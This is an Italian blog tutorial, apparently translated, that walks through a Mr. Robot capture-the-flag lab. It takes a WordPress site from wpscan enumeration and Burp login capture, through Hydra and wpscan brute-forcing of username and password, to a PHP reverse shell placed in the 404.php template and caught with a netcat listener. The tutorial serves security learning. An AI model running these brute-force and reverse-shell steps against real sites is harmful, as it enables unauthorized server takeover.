Come hackerare un sito web WordPress – Tutorial di hacking etico

Bentornati amici appassionati di sicurezza! Oggi vi mostrerò come hackerare un sito web WordPress utilizzando il CTF di Mr. Robot come esempio. Ho appena lavorato attraverso questo eccellente CTF io stesso e ho imparato una tonnellata nel processo. Ho voluto alzare il mio gioco di Web Vulnerability Analysis di una tacca e ho iniziato con questo CTF.

Se volete davvero imparare la Cybersecurity, vi consiglio vivamente di leggere la mia enorme guida per principianti Getting started with Cybersecurity in 2019, dove vi insegno come iniziare, completamente gratis! Vale anche la pena di controllare l’articolo I migliori libri di hacking del 2019.

DISCLAIMER: Questo “come hackerare un sito WordPress” è un tutorial di hacking etico e orientato ai professionisti della sicurezza. Non, ripeto, non utilizzare queste tecniche senza il consenso scritto della parte ricevente. Se utilizzate questo tutorial in un contesto illegale, accuse legali e/o tempo di prigione potrebbero aspettarvi. Usate queste tecniche solo in un ambiente di laboratorio chiuso.

Un CTF è un cosiddetto gioco Capture the Flag, dove il vostro obiettivo è quello di raccogliere un certo numero di bandiere (o chiavi, se è per questo). I CTF sono utilizzati per praticare le vostre abilità di hacking in un ambiente sicuro e legale. Posso raccomandare Vulnhub come risorsa per una selezione di un eccellente CTF.

Ok, cominciamo.

Passo 1 – Valutare se un sito web sta usando WordPress

Se non sai se un sito web sta usando WordPress o no, c’è un modo molto semplice per scoprirlo.

Puoi semplicemente digitare: www.addressofthewebsite.com/wp-admin

Che nella maggior parte dei casi farà apparire un wp-admin login gui, a meno che l’amministratore lo abbia disabilitato.

Un altro ottimo modo per controllare se un sito web sta usando WordPress è usando wpscan. Wpscan è preinstallato sia in Kali che in ParrotSec.

wpscan -u www.addressofyourtarget.com

Nel mio caso, la scansione della VM di Mr. Robot rivela quanto segue.

Come hackerare wordpress
Un frammento dei risultati

Come potete vedere, indica chiaramente che il sito sta usando WordPress. Inoltre, vi presenta 46 vulnerabilità identificate. Ora, la maggior parte degli hoster e le versioni recenti di WordPress bloccheranno una scansione come questa per impostazione predefinita. Quindi, molto probabilmente questo funzionerà solo con versioni obsolete di WordPress senza alcuna protezione da parte di un hoster.

Ok, fin qui tutto bene. Ora possiamo verificarlo controllando se la pagina di login esiste navigando all’URL del sito web + /wp-admin in questo modo:

Come hackerare wordpress
WordPress Login

E sicuramente, la maschera di Login viene fuori.

Passo 2 – Prendere il codice con Burpsuite

Ora arriva la parte difficile, trovare il nome utente. Potresti iniziare con admin, ma WordPress di solito genera un nome utente casuale, quindi potrebbe essere difficile da capire e potresti aver bisogno di fare ulteriori ricerche sull’obiettivo.

Nell’esempio di Mr. Robot, so che il nome utente è Elliot (non troppo difficile da indovinare). Potresti anche provare ad eseguire hydra contro un paio di liste di username, ma prima, abbiamo bisogno di usare burpsuite per prendere un po’ di codice dalla pagina di login.

Avvia burpsuite digitando

sudo burpsuite

Crea un nuovo progetto temporaneo usando le impostazioni predefinite di Burp.

Passa alla scheda Target -> Scope e clicca su Add per includere la pagina wp-login nello scope. Seleziona Yes nel dialogo pop-up.

Come hackerare WordPress
Aggiungi il sito all’ambito

Poi, vai al menu Preferenze di Firefox e scorri fino in fondo fino a trovare Network Proxy. Cliccate su Impostazioni.

Selezionate Manual proxy configuration e inserite l’IP 127.0.0.1 e la porta 8080. Spunta “Usa questo server proxy per tutti i protocolli”. Clicca su OK.

Come hackerare WordPress
Aggiungimento di un Proxy

Torna a Burpsuite. Aprire la scheda Proxy. Ora torna alla pagina WP-Login. Inserisci un nome utente e una password a caso e clicca su Log In. Assicurati che Privacy Badger, uBlock Origins e NoScript siano disabilitati per il sito.

Una volta cliccato su login, torna su Burpsuite e guarda l’output.

Come hackerare WordPress
Codice di cattura

log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1

Ora abbiamo qualcosa che possiamo dare in pasto a Hydra.

Passo 3 – Trovare il nome utente corretto

Facciamo un po’ di divertimento per darvi un’idea di come potreste trovare il nome utente del vostro obiettivo. La VM che stiamo usando per questo esempio, come detto sopra, è a tema Mr. Quindi è molto probabile che il nome utente sarà trovato in qualche banalità che ha a che fare con Mr. Robot.

Prima torna al tuo Burpsuite e chiudilo. Non ne abbiamo più bisogno in questo momento. Torna anche alle tue impostazioni Proxy e disabilita di nuovo il Proxy.

Ora mi dirigo verso la pagina Wikipedia di Mr. Robot: https://en.wikipedia.org/wiki/Mr._Robot

E creerò una lista di nomi utente da questa pagina esatta usando CeWL.

Apri una nuova finestra del terminale e digita

sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot

Facciamo questo.

  • -w usernames.txt – dovrebbe essere abbastanza chiaro, questo è il nome della wordlist che verrà creata
  • -d1 – Definisce la profondità con cui CeWL scansionerà il sito web. 1 indica che rimarrà esattamente su questo sito e non aprirà alcun link su di esso.
  • -m4 – Definisce la lunghezza minima della parola che sarà messa nella lista
  • https://en.wikipedia.org/wiki/Mr._Robot – ovviamente il sito web che strisceremo.

Così, come vedi, puoi applicare questa tecnica a qualsiasi sito web rilevante per l’obiettivo.

Eseguire un rapido

ls

ci mostra che il nostro usernames.txt è stato creato.

Come hackerare WordPress
Controllando l’output del CeWL

In alcuni casi si ha fortuna usando wpscan per enumerare gli username, quindi provate sempre anche questo:

wpscan --url http://www.targetwebsite.com --enumerate u

Ora useremo Hydra per forzare questa lista contro la pagina wp-login.

Passo 4 – Forzare i nomi utente con Hydra

Ok, è ora di dare i nomi utente al nostro Hydra. Ho trovato questo particolare metodo su uno dei tanti Walkthroughs di Vulnhub, anche se non ricordo esattamente quale fosse, ma do credito a chi lo merita. Aprite una nuova finestra del terminale e digitate:

hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'

Distruggiamo questo.

  • -V – Verbose
  • -L – Our usernames.txt list
  • -p whatever – La password, non ci interessa, perché vogliamo scoprire il nome utente
    • http-post-form – Il tipo di attacco Brute Force che vogliamo eseguire
    • /wp-login.php – Il percorso del modulo di login
    • log = ^USER^&pwd=^PASS^&wp-submit=Log+In – I valori che saranno inviati al modulo, dove ^USER^ e ^PASS^ sono segnaposto per le nostre opzioni -L e -p
    • F=Invalid username – Dice a hydra che il tentativo è fallito se restituisce Invalid username

Va bene, eseguiamo il comando, no?

Come hackerare WordPress
Risultati idra

E sicuramente, ci viene restituito che il login con il nome utente elliot ha avuto successo (Cosa che non è stata, ha solo confermato che il modulo web non ha restituito nome utente non valido).

Quindi dobbiamo ancora capire la password. Ma almeno abbiamo un nome utente.

Passo 5 – Forzare la password

Ora potremmo anche usare Hydra per forzare la password dell’utente, ma preferisco usare wpscan perché la sintassi è più facile.

wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php

rockyou.txt.gz è solo un esempio, sostituiscilo con qualsiasi lista di password tu voglia usare.

E voilà, abbiamo ottenuto il nome utente e la password.

Catturare la password

Passo 6 – Implementare il codice maligno in WordPress

Va bene, ora che abbiamo l’accesso Admin a WordPress, ci sono un paio di modi in cui possiamo andare da qui. Vi mostrerò uno dei più facili.

Sul vostro computer attaccante andate su Places -> File System -> usr -> share -> webshells -> php e aprite php-reverse-shell.php

Copia tutto il suo contenuto:

Come hackerare wordpress
Copia il testo

Ora in WordPress, vai su Appearance -> Editor e seleziona il template 404.php. Questo è solo un esempio, puoi implementare il codice in molti modi diversi.

Ora incolla il tuo codice qui in modo che assomigli a questo:

Come hackerare WordPress
Modifica le linee marcate in giallo

Modifica le linee marcate in giallo in modo che l’IP punti al tuo computer che attacca e scegli una porta.

Passo 7 – Avviare un listener Netcat

Ora torniamo sul computer attaccante, avviamo un listener Netcat:

nc -lvp 443

Poi aprirai la pagina 404 come se andassi al link: www.yourtargetwebsite.com/404

Come hackerare WordPress
Connessione stabilita

E siamo dentro! Non solo abbiamo hackerato l’account di amministrazione di WordPress, ma abbiamo anche avuto accesso al server stesso. Da qui è necessario utilizzare le proprie abilità per ottenere un accesso elevato, ma questo non dovrebbe essere più troppo difficile ora.

Vedi, i CTF sono un ottimo modo per imparare nuove cose.

Fino alla prossima volta, continua ad hackerare!

*Tutte le tecniche fornite nei tutorial su ceos3c.com sono esclusivamente a scopo didattico.
Tutte le tecniche qui insegnate devono essere usate solo in un ambiente di laboratorio chiuso o in accordo con una seconda parte.
Se stai usando una qualsiasi di queste tecniche per scopi illegali, Ceos3c non può essere ritenuto responsabile per eventuali conseguenze legali.

Per favore condividi!

Come Loading…

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.